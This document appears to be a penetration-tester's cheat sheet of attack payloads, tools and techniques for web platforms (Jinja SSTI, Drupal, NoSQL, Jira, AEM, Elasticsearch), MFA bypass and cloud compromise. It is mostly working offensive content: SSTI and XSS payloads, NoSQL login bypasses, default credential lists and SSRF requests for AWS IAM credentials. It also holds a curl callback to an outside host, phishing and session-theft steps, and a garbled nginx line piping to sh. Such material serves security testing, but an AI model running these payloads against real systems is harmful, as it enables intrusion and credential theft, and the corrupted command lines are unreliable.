* {{url_for.globals}}
* {{request.environ}}
* {{config}}
* {{url_for.__globals__.__builtins__.open('/etc/passwd').read()}}
* {{self}}
* request|attr('class') == request.class == request[\x5f\x5fclass\x5f\x5f]
Symfony && Twig
**Tools**
# Server-Side Template Injection and Code Injection Detection and Exploitation Tool
# https://github.com/epinna/tplmap
./tplmap.py -u 'http://www.target.com/page?name=John'
# https://github.com/ambionics/symfony-exploits
# Symfony:
Check for www.example.com/_profiler/ it contains errors and server variables
# Symfony debug looter:
https://github.com/synacktiv/eos/
# Twig:
https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34
Drupal
**Tools**
# droopescan
# https://github.com/droope/droopescan
droopescan scan drupal -u https://example.com -t 32
# drupwn
# https://github.com/immunIT/drupwn
sudo python3 drupwn --mode enum|exploit --target https://example.com
# https://github.com/ajinabraham/CMSScan
docker build -t cmsscan .
docker run -it -p 7070:7070 cmsscan
python3 cmsmap.py -f D https://www.example.com -F
# https://github.com/Tuhinshubhra/CMSeeK
python3 cmseek.py -u domain.com
# Drupal < 8.7.x Authenticated RCE module upload
https://www.drupal.org/project/drupal/issues/3093274
https://www.drupal.org/files/issues/2019-11-08/drupal_rce.tar_.gz
# Drupal < 9.1.x Authenticated RCE Twig templates
https://www.drupal.org/project/drupal/issues/2860607
"Administer views" -> new View of User Fields - >Add a "Custom text"
"{{ {"#lazy_builder": ["shell_exec", ["touch /tmp/hellofromviews"]]} }}"
# If found /node/$NUMBER, the number could be devs or tests pages
# drupal 8
# https://www.exploit-db.com/exploits/46459
# Check for username disclosure on old versions:
?q=admin/views/ajax/autocomplete/user/a
NoSQL (MongoDB, CouchDB)
# Tools
# https://github.com/codingo/NoSQLMap
python NoSQLMap.py
# https://github.com/torque59/Nosql-Exploitation-Framework
python nosqlframework.py -h
# https://github.com/Charlie-belmer/nosqli
nosqli scan -t http://localhost:4000/user/lookup?username=test
# https://github.com/FSecureLABS/N1QLMap
./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
# Payload:
' || 'a'=='a
mongodbserver:port/status?text=1
# in URL
username[$ne]=toto&password[$ne]=toto
##in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt":""}, "password": {"$gt":""}}
- Trigger MongoDB syntax error -> ' " \ ; { }
- Insert logic -> ' || '1' == '1' ; //
- Comment out -> //
- Operators -> $where $gt $lt $ne $regex
- Mongo commands -> db.getCollectionNames()
PHP
# Tools
https://github.com/TarlogicSecurity/Chankro
# Bypass disable_functions and open_basedir
python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
# Unserialize PHP Payload generator
https://github.com/ambionics/phpggc
# Backup Artifacts
# https://github.com/mazen160/bfac
bfac --url http://example.com/test.php
RoR (Ruby on Rails)
**Tools**
# https://github.com/presidentbeef/brakeman
gem install brakeman
brakeman /path/to/rails/application
# RoR RCE's
# https://bishopfox.com/blog/ruby-vulnerabilities-exploits
JBoss - Java Deserialization
# JexBoss
# https://github.com/joaomatosf/jexboss
python jexboss.py -host http://target_host:8080
OneLogin - SAML Login
# https://developers.onelogin.com/saml
# https://www.securing.pl/en/saml-what-can-go-wrong-security-check/
# https://github.com/fadyosman/SAMLExtractor
./samle.py -u https://carbon-prototype.uberinternal.com/
./samle.py -r "https://domain.onelogin.com/trust/saml2/http-post/sso/571434?SAMLRequest=nVNNb9swDP0rhu7%2BkO0iqRAH8FIMC9BtRuLtOjAS2wqwJU%2Bi1%2FTfT3aSIoc1h10siXzie3yiVx76bhD1SC9mh79H9BQd%2B854MScqNjojLHjthYEevSAp9vXXR5EnmRicJSttx6LmvPukjdLm%2Bfa1wwnkxZe2beLm%2B75l0U90XltTsQBg0db7EbfGExgKoYwvY85jXrZZJgouijxAHiqGPC8XRblEDF9eZvcqX4DEXC3v70CpgkW19%2BgoFN5Y48ce3R7dHy3xx%2B6xYi9EgxdpKsEdrInnbuhtwGQ8oNOG0BnoEml7UZZFarWC4FI6%2BfJLnsqx9Wo6ilmvuzLutgFwUcXWFw0wDIk12NlnbSbKmSbtkUABQXq34GVRrtIrthP1IL6F8tuHxnZavkV119nXjUMgrBi5EVn02boe6GNBPOFzRKv4aYYK7EF3tVIOvWfphec8HajmWQl%2BEh4p2th%2BAKf99HR4BEkXS65Rmy50vMOn%2FzHoJkwKOZUO4SYsr9apaRBRBpWtA%2BMH6%2Bhs2r%2F0rE%2B5D3p7z17%2FHOu%2F&RelayState=%2F"
Flash SWF
# SWF Param Finder
https://github.com/m4ll0k/SWFPFinder
bash swfpfinder.sh https://example.com/test.swf
Nginx
curl -gsS https://example.com:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00example.com/../../../%00/n …\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
# If merge_slashes is OFF path traversal is possible, just append 1 slash more to find
///////../../../etc/passwd
Python
# Analyze Python code
https://github.com/PyCQA/bandit
# Python Web Server common flaws
Input injection in filename:
"; cat /etc/passwd
Tomcat
Check if the following scripts exists (v4.x - v7.x):
/examples/jsp/num/numguess.jsp
/examples/jsp/dates/date.jsp
/examples/jsp/snp/snoop.jsp
/examples/jsp/error/error.html
/examples/jsp/sessions/carts.html
/examples/jsp/checkbox/check.html
/examples/jsp/colors/colors.html
/examples/jsp/cal/login.html
/examples/jsp/include/include.jsp
/examples/jsp/forward/forward.jsp
/examples/jsp/plugin/plugin.jsp
/examples/jsp/jsptoserv/jsptoservlet.jsp
/examples/jsp/simpletag/foo.jsp
/examples/jsp/mail/sendmail.jsp
/examples/servlet/HelloWorldExample
/examples/servlet/RequestInfoExample
/examples/servlet/RequestHeaderExample
/examples/servlet/RequestParamExample
/examples/servlet/CookieExample
/examples/servlet/JndiServlet
/examples/servlet/SessionExample
/tomcat-docs/appdev/sample/web/hello.jsp
Users under
$TOMCAT_HOME/tomcat6/tomcat-users.xml
Adobe AEM
Tools
# https://github.com/0ang3el/aem-hacker
python3 aem_discoverer.py --file list.txt
python3 aem_hacker.py -u https://target.com --host [SSRF_CALLBACK]
#https://github.com/Raz0r/aemscan
Paths
#https://github.com/clarkvoss/AEM-List/blob/main/paths
#https://github.com/emadshanab/Adobe-Experience-Manager/blob/main/aem-paths.txt
Creds
admin:admin
author:author
anonymous:anonymous
replication-receiver:replication-receiver
jdoe@geometrixx.info:jdoe
aparker@geometrixx.info:aparker
grios:password
vgnadmin:vgnadmin
james.devore@spambob.com:password
matt.monroe@mailinator.com:password
aaron.mcdonald@mailinator.com:password
jason.werner@dodgit.com:password)
Vulns
CVE-2016-0957 - Bypass dispatcher filters
https://aemsite/bin/querybuilder.json/a.css
https://aemsite/bin/querybuilder.json/a.html
https://aemsite/bin/querybuilder.json/a.ico
https://aemsite/bin/querybuilder.json/a.png
https://aemsite/bin/querybuilder.json;%0aa.css
https://aemsite/bin/querybuilder.json/a.1.json
https://aemsite///bin///querybuilder.json
https://aemsite///etc.json
#Depending on the version and configuration of the affected AEM installation, the above vulnerability could expose the Publish tier to a number of vulnerabilities, including:
# Provides a proxy which is able to be used to perform arbitrary server-side requests.
/libs/opensocial/proxy
# Exposes a reflected Cross-Site Scripting (XSS) vulnerability in older versions of AEM 5.X.
/etc/mobile/useragent-test.html
# Exposes an unauthenticated, browsable view of all content in the repository which may lead to information disclosure.
/etc/reports/diskusage.html
https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps
Magento
https://github.com/steverobbins/magescan
SAP
# Fuzzing dictionary
https://raw.githubusercontent.com/jackrichardzon/s4p0/master/S4P-DIR.txt
# SAP-RECON
https://github.com/chipik/SAP_RECON
# SAP multiple
https://github.com/shipcod3/mySapAdventures
# SAP wordlist
https://github.com/emadshanab/SAP-wordlist/blob/main/SAP-wordlist.txt
# SAP ports
https://buddysap.com/list-of-sap-port-used-in-sap-abap-and-java-system/
MFA
Common flaws
# Lack of rate limit
- Exploitation:
1. Request 2FA code and capture this request.
2. Repeat this request for 100–200 times and if there is no limitation set, that’s a rate limit issue.
3. At 2FA Code Verification page, try to brute-force for valid 2FA and see if there is any success.
4. You can also try to initiate, requesting OTPs at one side and brute-forcing at another side. Somewhere the OTP will match in middle and may give you a quick result.
# Rate limit bypass
# Limiting the flow rate
# Generated OTP code doesn’t change
# Rate-limit resetting when updating the code
# Bypassing the rate limit by changing the IP address
# Support for X-Forwarded-For turned on
# Bypass replacing part of the request from the session
# Bypass using the "Remember Me" functionality
# If 2FA is attached using a cookie, the cookie value must be unguessable
# If 2FA is attached to an IP address, you can try to replace your IP address
# Improper access control bug on the 2FA dialog page
# Insufficient censorship of personal data on the 2FA page
# Ignoring 2FA under certain circumstances.
# 2FA ignoring when recovering a password
# Ignoring 2FA when entering through a social network
# Ignoring 2FA in an older version of the application
# Ignoring 2FA in case of cross-platforming
# When disabling 2FA, the current code or password is not requested
# Previously created sessions remain valid after activation of 2FA
# Lack of Rate-limit in the user’s account (OTP is validated, but user's id not)
# Manipulation of API’s versions
# Improper Access Control in the backup codes request
# Response body manipulation
# HTTP Response Status Code Manipulation
# Code Leakage in Response
# Direct Request/Forceful Browsing
- Exploitation:
1. Normal flow: Login -> MFA -> Profile
2. Attack: Login -> MFA, instead input MFA navigate to Profile
# Cached OTP in Dynamic JS Files
# OTP Code Reusability
Mindmaps
https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35
https://blog.cobalt.io/bypassing-the-protections-mfa-bypass-techniques-for-the-win-8ef6215de6ab
https://research.nccgroup.com/2021/06/10/testing-two-factor-authentication/
GWT
# Google Web Toolkit
# https://github.com/FSecureLABS/GWTMap
./gwtmap.py -u http://target.com/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
Jira
# Jira Scanner
# https://github.com/bcoles/jira_scan
# https://github.com/MayankPandey01/Jira-Lens
# cve-2019-8449
# The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability.
https://jira.atlassian.com/browse/JRASERVER-69796
https://victomhost/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
# cve-2019-8451:ssrf-response-body
# The /plugins/servlet/gadgets/makeRequest resource in Jira before version 8.4.0 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF) vulnerability due to a logic bug in the JiraWhitelist class.
https://jira.atlassian.com/browse/JRASERVER-69793?jql=labels%20%3D%20
https://victomhost/plugins/servlet/gadgets/makeRequest?url=https://victomhost:1337@example.com
#RCE Jira=CVE-2019–11581
#https://hackerone.com/reports/706841
/secure/ContactAdministrators!default.jspa
# cve-2018-20824
# vulnerable to Server Side Request Forgery (SSRF). This allowed a XSS and or a SSRF attack to be performed. More information about the Atlassian OAuth plugin issue see https://ecosystem.atlassian.net/browse/OAUTH-344 . When running in an environment like Amazon EC2, this flaw can used to access to a metadata resource that provides access credentials and other potentially confidential information.
https://victomhost/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)
# cve-2020-14179
# Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint.
REF=https://jira.atlassian.com/browse/JRASERVER-71536
POC:
https://victomhost/secure/QueryComponent!Default.jspa
# cve-2020-14181
# Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint.
Ref=https://jira.atlassian.com/browse/JRASERVER-71560?jql=text%20~%20%22cve-2020-14181%22
# POC:
https://victomhost/secure/ViewUserHover.jspa
https://victomhost/ViewUserHover.jspa?username=Admin
https://hackerone.com/reports/380354
# CVE-2018-5230
# https://jira.atlassian.com/browse/JRASERVER-67289
#HOW TO EXPLOIT:
https://host/issues/?filter=-8
#Go to the link above
#Click the "Updated Range:" text area
#Put your XSS payload in "More than [ ] minutes ago" (15 character payload limit) or in "In range [ ] to [ ]" (No length limit, ONLY put the payload in the first box)
#Click Update
#Payload will run. If it doesn't run chances are you used double quotes somewhere. Only use single quotes!
# jira-unauthenticated-dashboards
https://victomhost/rest/api/2/dashboard?maxResults=100
# jira-unauth-popular-filters
https://victomhost/secure/ManageFilters.jspa?filter=popular&filterView=popular
# https://hackerone.com/reports/197726
https://newrelic.atlassian.net/secure/ManageFilters.jspa?filterView=popular
https://newrelic.atlassian.net/secure/ManageFilters.jspa?filterView=search
# https://hackerone.com/reports/139970
https://host/secure/ConfigurePortalPages!default.jspa?view=popular
https://host/secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false
#/pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(‘XSS’)%22%3E.vm
# CVE-2019-3403
# Information disclosure vulnerability
https://jira.atlassian.com/browse/JRASERVER-69242
#visit the URL address,you can check the user whether is exist on this host
/rest/api/2/user/picker?query=admin
# So the attacker can enumerate all existing users on this jira server.
# CVE-2019-8442
https://jira.atlassian.com/browse/JRASERVER-69241
#visit the URL address,the server will leaking some server's information
/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
/rest/api/2/user/picker?query=admin
/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
# CVE-2017-9506
#https://blog.csdn.net/caiqiiqi/article/details/89017806
/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.google.nl
#CVE-2019-3402:[Jira]XSS in the labels gadget
/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search
ConfigurePortalPages.jspa
#CVE-2018-20824:[Jira]XSS in WallboardServlet through the cyclePeriod parameter
/plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true
#CVE-2019-3396: [Path Traversal & RCE]
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: JIRA
...
{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler(.)com/v/23464dc5","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}
#CVE-2019-11581: [SSTI]
http://<JIRA>/secure/ContactAdministrators!default.jspa
#Try SSTI payload in subject and/or body:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://xyz.burp(.)net').waitFor()
#CVE-2020-14178: [Project Key Enum]
http://<JIRA>/browse.<PROJECTKEY>
#CVE-2020-36289: [Username Enumeration]
https://<JIRA>/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin
#jira-unauthenticated-dashboards:
https://<JIRA>/rest/api/2/dashboard?maxResults=100
#jira-unauth-popular-filters:
https://<JIRA>/secure/ManageFilters.jspa?filterView=popular
OIDC (Open ID Connect)
# Software using this
Keycloak (Red Hat)
Bitbucket Server (Atlassian)
GitLab
Salesforce Lightning
Amazon Cognito (AWS)
# Check /.well-known/openid-configuration
# Look for uri-redirect & SSRF
ELK
Elasticsearch
Enum
# Check status:
curl -X GET "ELASTICSEARCH-SERVER:9200/"
# Check Auth enabled:
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
# Users:
elastic:changeme
kibana_system
logstash_system
beats_system
apm_system
remote_monitoring_user
# Other endpoints
/_cluster/health
/_cat/indices
/_cat/health
# Interesting endpoints (BE CAREFUL)
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
With creds
# Using the API key:
curl -H "Authorization: ApiKey <API-KEY>" ELASTICSEARCH-SERVER:9200/
# Get more information about the rights of an user:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
# List all users on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"
# List all roles on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role
Internal config files
Elasticsearch configuration: /etc/elasticsearch/elasticsearch.yml
Kibana configuration: /etc/kibana/kibana.yml
Logstash configuration: /etc/logstash/logstash.yml
Filebeat configuration: /etc/filebeat/filebeat.yml
Users file: /etc/elasticsearch/users_roles
Kibana
Basic
# Port: 5601
# Config file && users: /etc/kibana/kibana.yml
# Try also with use kibana_system
# Version < 6.6.0 = RCE (https://github.com/LandGrey/CVE-2019-7609/)
Logstash
Basic
# Pipelines config: /etc/logstash/pipelines.yml
# Check pipelines with this property: "config.reload.automatic: true"
# If file wildcard is specified:
###################
input {
exec {
command => "whoami"
interval => 120
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
}
####################
Sharepoint
Good reference:
https://www.crummie5.club/the-lone-sharepoint/
https://medium.com/@ujmalhotra95/tales-of-sharepoint-api-misconfigurations-11073ad384fd
# 1. Fuzz exposed endpoints
# 2. Analyze misconfigs to gain auth access
# 3. Check the list of latest RCEs
Others
# Laravel RCE
https://github.com/zhzyker/CVE-2021-3129
# Oracle WebLogic
https://github.com/0nise/weblogic-framework
# Jolokia
https://github.com/laluka/jolokia-exploitation-toolkit
# Salesforce
https://github.com/reconstation/sret
# Spring boot
https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html
# SaltStack
https://skylightcyber.com/2023/02/09/a-salt-attacking-saltstack/
# CMS
https://github.com/Tuhinshubhra/CMSeeK
https://github.com/dionach/CMSmap
Cloud
General
Tools
# Non provider specific and general purpose
# https://github.com/nccgroup/ScoutSuite
# https://github.com/SygniaLabs/security-cloud-scout
# https://github.com/initstring/cloud_enum
python3 cloud_enum.py -k companynameorkeyword
# https://github.com/cyberark/SkyArk
# https://github.com/SecurityFTW/cs-suite
cd /tmp
mkdir .aws
cat > .aws/config <<EOF
[default]
output = json
region = us-east-1
EOF
cat > .aws/credentials <<EOF
[default]
aws_access_key_id = XXXXXXXXXXXXXXX
aws_secret_access_key = XXXXXXXXXXXXXXXXXXXXXXXXX
EOF
docker run -v `pwd`/.aws:/root/.aws -v `pwd`/reports:/app/reports securityftw/cs-suite -env aws
# Dictionary
https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb
Searching for bad configurations
No auditable items:
• DoS testing
• Intense fuzzing
• Phishing the cloud provider’s employees
• Testing other company’s assets
• Etc.
Audit policies
https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement
https://aws.amazon.com/security/penetration-testing
https://support.google.com/cloud/answer/6262505?hl=en
Comparison table
Recon
# PoC from Forward DNS dataset
# This data is created by extracting domain names from a number of sources and then sending DNS queries for each domain.
# https://opendata.rapid7.com/sonar.fdns_v2/
cat CNAME-DATASET-NAME | pigz -dc | grep -E "\.azurewebsites\.com"
cat CNAME-DATASET-NAME | pigz -dc | grep -E "\.s3\.amazonaws\.com"
# https://github.com/99designs/clouddetect
clouddetect -ip=151.101.1.68
• First step should be to determine what services are in use
• More and more orgs are moving assets to the cloud one at a time
• Many have limited deployment to cloud providers, but some have fully embraced the cloud and are using it for AD, production assets, security products, and more
• Determine things like AD connectivity, mail gateways, web apps, file storage, etc.
• Traditional host discovery still applies
• After host discovery resolve all names, then perform whois
lookups to determine where they are hosted
• Microsoft, Amazon, Google IP space usually indicates cloud service usage
◇ More later on getting netblock information for each cloud service
• MX records can show cloud-hosted mail providers
• Certificate Transparency (crt.sh)
• Monitors and logs digital certs
• Creates a public, searchable log
• Can help discover additional subdomains
• More importantly… you can potentially find more Top Level Domains (TLD’s)!
• Single cert can be scoped for multiple domains
• Search (Google, Bing, Baidu, DuckDuckGo): site:targetdomain.com -site:www.targetdomain.com
• Shodan.io and Censys.io zoomeye.org
• Internet-wide portscans
• Certificate searches
• Shodan query examples:
◇ org:”Target Name”
◇ net:”CIDR Range”
◇ port:”443”
• DNS Brute Forcing
• Performs lookups on a list of potential subdomains
• Make sure to use quality lists
• SecLists: https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS
• MX Records can help us identify cloud services in use
◇ O365 = target-domain.mail.protection.outlook.com
◇ G-Suite = google.com | googlemail.com
◇ Proofpoint = pphosted.com
• If you find commonalities between subdomains try iterating names
• Other Services
◇ HackerTarget https://hackertarget.com/
◇ ThreatCrowd https://www.threatcrowd.org/
◇ DNSDumpster https://dnsdumpster.com/
◇ ARIN Searches https://whois.arin.net/ui/
▪ Search bar accepts wild cards “*”
▪ Great for finding other netblocks owned by the same organization
• Azure Netblocks
▪ Public: https://www.microsoft.com/en-us/download/details.aspx?id=56519
▪ US Gov: http://www.microsoft.com/en-us/download/details.aspx?id=57063
▪ Germany: http://www.microsoft.com/en-us/download/details.aspx?id=57064
▪ China: http://www.microsoft.com/en-us/download/details.aspx?id=57062
• AWS Netblocks
◇ https://ip-ranges.amazonaws.com/ip-ranges.json
• GCP Netblocks
◇ Google made it complicated so there’s a script on the next page to get the current IP netblocks.
• Box.com Usage
◇ Look for any login portals
▪ https://companyname.account.box.com
◇ Can find cached Box account data too
• Employees
◇ LinkedIn
◇ PowerMeta https://github.com/dafthack/PowerMeta
◇ FOCA https://github.com/ElevenPaths/FOCA
◇ hunter.io
Tools:
• Recon-NG https://github.com/lanmaster53/recon-ng
• OWASP Amass https://github.com/OWASP/Amass
• Spiderfoot https://www.spiderfoot.net/
• Gobuster https://github.com/OJ/gobuster
• Sublist3r https://github.com/aboul3la/Sublist3r
Foothold:
• Find ssh keys in shhgit.darkport.co.uk https://github.com/eth0izzle/shhgit
• GitLeaks https://github.com/zricethezav/gitleaks
• Gitrob https://github.com/michenriksen/gitrob
• Truffle Hog https://github.com/dxa4481/truffleHog
Password attacks:
• Password Spraying
◇ Trying one password for every user at an org to avoid account lockouts (Spring2020)
• Most systems have some sort of lockout policy
◇ Example: 5 attempts in 30 mins = lockout
• If we attempt to auth as each individual username one time every 30 mins we lockout nobody
• Credential Stuffing
◇ Using previously breached credentials to attempt to exploit password reuse on corporate accounts
• People tend to reuse passwords for multiple sites including corporate accounts
• Various breaches end up publicly posted
• Search these and try out creds
• Try iterating creds
Web server explotation
• Out-of-date web technologies with known vulns
• SQL or command injection vulns
• Server-Side Request Forgery (SSRF)
• Good place to start post-shell:
• Creds in the Metadata Service
• Certificates
• Environment variables
• Storage accounts
• Reused access certs as private keys on web servers
◇ Compromise web server
◇ Extract certificate with Mimikatz
◇ Use it to authenticate to Azure
• Mimikatz can export “non-exportable” certificates:
mimikatz# crypto::capi
mimikatz# privilege::debug
mimikatz# crypto::cng
mimikatz# crypto::certificates /systemstore:local_machine /store:my /export
Phising
• Phishing is still the #1 method of compromise
• Target Cloud engineers, Developers, DevOps, etc.
• Two primary phishing techniques:
◇ Cred harvesting / session hijacking
◇ Remote workstation compromise w/ C2
• Attack designed to steal creds and/or session cookies
• Can be useful when security protections prevent getting shells
• Email a link to a target employee pointing to cloned auth portal
◇ Examples: Microsoft Online (O365, Azure, etc.), G-Suite, AWS Console
• They auth and get real session cookies… we get them too.
Phishing: Remote Access
• Phish to compromise a user’s workstation
• Enables many other options for gaining access to cloud resources
• Steal access tokens from disk
• Session hijack
• Keylog
• Web Config and App Config files
◇ Commonly found on pentests to include cleartext creds
◇ WebApps often need read/write access to cloud storage or DBs
◇ Web.config and app.config files might contain creds or access tokens
◇ Look for management cert and extract to pfx like publishsettings files
◇ Often found in root folder of webapp
• Internal Code Repositories
◇ Gold mine for keys
◇ Find internal repos:
▪ A. Portscan internal web services (80, 443, etc.) then use EyeWitness to screenshot each service to quickly analyze
▪ B. Query AD for all hostnames, look for subdomains git, code, repo, bitbucket, gitlab, etc..
◇ Can use automated tools (gitleaks, trufflehog, gitrob) or use built-in search features
▪ Search for AccessKey, AKIA, id_rsa, credentials, secret, password, and token
• Command history
• The commands ran previously may indicate where to look
• Sometimes creds get passed to the command line
• Linux hosts command history is here:
◇ ~/.bash_history
• PowerShell command history is here:
◇ %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Post-Compromise Recon
• Who do we have access as?
• What roles do we have?
• Is MFA enabled?
• What can we access (webapps, storage, etc.?)
• Who are the admins?
• How are we going to escalate to admin?
• Any security protections in place (ATP, GuardDuty, etc.)?
Service metadata summary
AWS
http://169.254.169.254/metadata/v1/*
Google Cloud
http://metadata.google.internal/computeMetadata/v1/*
DigitalOcean
http://169.254.169.254/metadata/v1/*
Docker
http://127.0.0.1:2375/v1.24/containers/json
Kubernetes ETCD
http://127.0.0.1:2379/v2/keys/?recursive=true
Alibaba Cloud
http://100.100.100.200/latest/meta-data/*
Microsoft Azure
http://169.254.169.254/metadata/v1/*
Cloud Labs
- AWS Labs
- flaws.cloud
- flaws2.cloud
- https://github.com/OWASP/Serverless-Goat
- https://n0j.github.io/2017/10/02/aws-s3-ctf.html
- https://github.com/RhinoSecurityLabs/cloudgoat
- https://github.com/appsecco/attacking-cloudgoat2
- https://github.com/m6a-UdS/dvca
- https://github.com/OWASP/DVSA
- https://github.com/nccgroup/sadcloud
- https://github.com/torque59/AWS-Vulnerable-Lambda
- https://github.com/wickett/lambhack
- https://github.com/BishopFox/iam-vulnerable
- GCP Labs
- http://thunder-ctf.cloud/ https://gcpgoat.joshuajebaraj.com/
- Azure Labs
- https://github.com/azurecitadel/azure-security-lab
Cloud Info Gathering
# Azure IP Ranges
https://azurerange.azurewebsites.net/
# AWS IP Range
https://ip-ranges.amazonaws.com/ip-ranges.json
- Get creation date
jq .createDate < ip-ranges.json
- Get info for specific region
jq '.prefixes[] | select(.region=="us-east-1")' < ip-ranges.json
- Get all IPs
jq -r '.prefixes | .[].ip_prefix' < ip-ranges.json
# Online services
https://viewdns.info/
https://securitytrails.com/
https://www.shodan.io/search?query=net%3A%2234.227.211.0%2F24%22
https://censys.io/ipv4?q=s3
#Azure AD Recon
https://github.com/dievus/Oh365UserFinder
#AWS Recon
https://github.com/righteousgambit/quiet-riot
# Google Dorks
site:*.amazonaws.com -www "compute"
site:*.amazonaws.com -www "compute" "ap-south-1"
site:pastebin.com "rds.amazonaws.com" "u " pass OR password
https://storage.googleapis.com/COMPANY
# Check certificate transparency logs
https://crt.sh
%.netfilx.com
# Find Cloud Services
python3 cloud_enum.py -k keywork
python3 CloudScraper.py -u https://example.com
# AWS Buckets
# Dork
site:*.s3.amazonaws.com ext:xls | ext:xlsx | ext:csv password|passwd|pass user|username|uid|email
# AWS discovering, stealing keys and endpoints
# Nimbostratus - check against acutal profile
https://github.com/andresriancho/nimbostratus
python nimbostratus dump-credentials
# ScoutSuite - audit AWS, GCP and Azure clouds
scout --provider aws --profile stolen
# Prowler - AWS security assessment, auditing and hardening
https://github.com/toniblyx/prowler
AWS
AWS basic info
Auth methods:
• Programmatic access - Access + Secret Key
◇ Secret Access Key and Access Key ID for authenticating via scripts and CLI
• Management Console Access
◇ Web Portal Access to AWS
AWS services lists by endpoint
https://docs.aws.amazon.com/general/latest/gr/rande.html
Recon:
• AWS Usage
◇ Some web applications may pull content directly from S3 buckets
◇ Look to see where web resources are being loaded from to determine if S3 buckets are being utilized
◇ Burp Suite
◇ Navigate application like you normally would and then check for any requests to:
▪ https://[bucketname].s3.amazonaws.com
▪ https://s3-[region].amazonaws.com/[OrgName]
S3:
• Amazon Simple Storage Service (S3)
◇ Storage service that is “secure by default”
◇ Configuration issues tend to unsecure buckets by making them publicly accessible
◇ Nslookup can help reveal region
◇ S3 URL Format:
▪ https://[bucketname].s3.amazonaws.com
▪ https://s3-[region].amazonaws.com/[Org Name]
# aws s3 ls s3://bucket-name-here --region
# aws s3api get-bucket-acl --bucket bucket-name-here
# aws s3 cp readme.txt s3://bucket-name-here --profile newuserprofile
EBS Volumes:
• Elastic Block Store (EBS)
• AWS virtual hard disks
• Can have similar issues to S3 being publicly available
• Difficult to target specific org but can find widespread leaks
EC2:
• Like virtual machines
• SSH keys created when started, RDP for Windows.
• Security groups to handle open ports and allowed IPs.
AWS Instance Metadata URL
• Cloud servers hosted on services like EC2 needed a way to orient themselves because of how dynamic they are
• A “Metadata” endpoint was created and hosted on a non-routable IP address at 169.254.169.254
• Can contain access/secret keys to AWS and IAM credentials
• This should only be reachable from the localhost
• Server compromise or SSRF vulnerabilities might allow remote attackers to reach it
• IAM credentials can be stored here:
◇ http://169.254.169.254/latest/meta-data/iam/security-credentials/
• Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS.
◇ curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo
• CapitalOne Hack
◇ Attacker exploited SSRF on EC2 server and accessed metadata URL to get IAM access keys. Then, used keys to dump S3 bucket containing 100 million individual’s data.
• AWS EC2 Instance Metadata service Version 2 (IMDSv2)
• Updated in November 2019 – Both v1 and v2 are available
• Supposed to defend the metadata service against SSRF and reverse proxy vulns
• Added session auth to requests
• First, a “PUT” request is sent and then responded to with a token
• Then, that token can be used to query data
--
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
curl http://example.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role
--
Post-compromise
• What do our access keys give us access to?
• Check AIO tools to do some recon (WeirdAAL- recon_module, PACU privesc,...)
http://169.254.169.254/latest/meta-data
http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>
# AWS nuke - remove all AWS services of our account
# https://github.com/rebuy-de/aws-nuke
- Fill nuke-config.yml with the output of aws sts get-caller-identity
./aws-nuke -c nuke-config.yml # Checks what will be removed
- If fails because there is no alias created
aws iam create-account-alias --account-alias unique-name
./aws-nuke -c nuke-config.yml --no-dry-run # Will perform delete operation
# Cloud Nuke
